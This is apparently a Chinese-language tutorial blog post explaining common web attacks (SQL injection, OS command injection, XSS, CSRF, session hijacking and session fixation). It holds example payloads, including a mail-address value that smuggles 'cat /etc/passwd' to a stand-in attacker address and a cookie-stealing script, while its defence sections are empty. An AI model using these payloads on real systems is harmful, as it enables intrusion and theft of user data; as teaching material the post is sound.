Web前端之路Web安全

Web 安全

2019-12-05  本文已影响0人  Lee_DH

1. SQL注入攻击

定义

攻击者通过把恶意SQL命令插入到web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意SQL命令的攻击方式

实例

登录页面有NamePassword两个输入域,代码中SQL拼接:SELECT * From Table WHERE Name='XX' and Password='YY'
Name输入域随便填,Password输入域输入' or 1=1 --',SQL拼接之后变成SELECT * From Table WHERE Name='XXX' and Password='' or 1=1 --''--表示屏蔽之后的字符)

防御

2. OS注入攻击

定义

在Web应用中,执行非法的操作系统命令(如:EXECSYSTEM),从而达到攻击的目的

实例

一段处理发送邮件的代码
$adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr");
攻击者将下面的值作为邮件地址; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成一下的命令组合
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
最终含有Linux用户信息的文件被邮件发送至黑客的邮箱

防御

3. 跨站脚本攻击

定义

XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码

实例1:

留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
攻击者在value填写<script>alert(‘foolish!’)</script>,将数据存储到数据库中;其他用户取出数据显示的时候,将会执行这些攻击性代码

实例2:

通过在表单数据在嵌入<script>alert(document.cookie)</script>,获取用户cookie,并通过带攻击链的图片,发送用户的cookie

防御

4. 跨站请求伪造

定义

CSRF是一种夹持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式,相比于XSS,CSRF是利用了系统对页面浏览器的信任,XSS则利用了系统对用户输入的信任

原理

原理

实例:

假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此时恶意攻击者的网站也构建一个相似的链接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID为攻击的账号ID
1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie
2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站
3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就转给了攻击者1000游戏虚拟币
为避免GET请求出现伪造请求的方式,可以采取POST方式去提交数据,但是如果攻击者仿照一个form表单,也是可以破解的

防御:

PS:验证码和表单token的作用,是防止表单不可被伪造,请求确实是用户主动发起的。表单token的基本思路是:在表单中生成key和value,把这一对键值对存在session中,同时在表单提交时,用一个隐藏的标签,提交key和value到服务器。服务器验证 $_POST['key'] == $_SESSION['key'],如果是伪造的表单,攻击者不清楚生成的key和value的算法,是通不过服务器的验证的,key和value是每次访问表单页面动态生成的,单次有效,具体实例可见

5. 会话劫持

定义

在一次正常的会话过程当中(会话,就是两台主机之间的一次通讯),攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话

常用攻击类型

防御

6. Session 固定攻击

定义

诱骗受害者使用攻击者指定的SessionID进行登录,从而使web不再生成新的SessionID,导致黑客指定的SessionID变成了合法桥梁,黑客可以使用指定的SessionID冒充受害者身份进行违法操作

原理

攻击原理

实例1

黑客首先用自己的账号密码登录,得到服务器生成的 SessionId。再利用 JS 的 document.cookie="sessionid=123" 属性,构造自己的SessionId,引诱受害者进入重置 sessionId 页面,此时黑客的SessionId对应的账号就是用户的账号,而不是之前黑客自己的账号信息

实例2

利用 HTML 的 <META>标签加 Set-Cookie属性

实例3

利用HTTP响应头的 Set-Cookie 设置Cookie

防御

参考博客

SQL注入与防御
XSS跨站脚本攻击
CSRF攻击与防御
会话劫持
session固定攻击

上一篇下一篇

猜你喜欢

热点阅读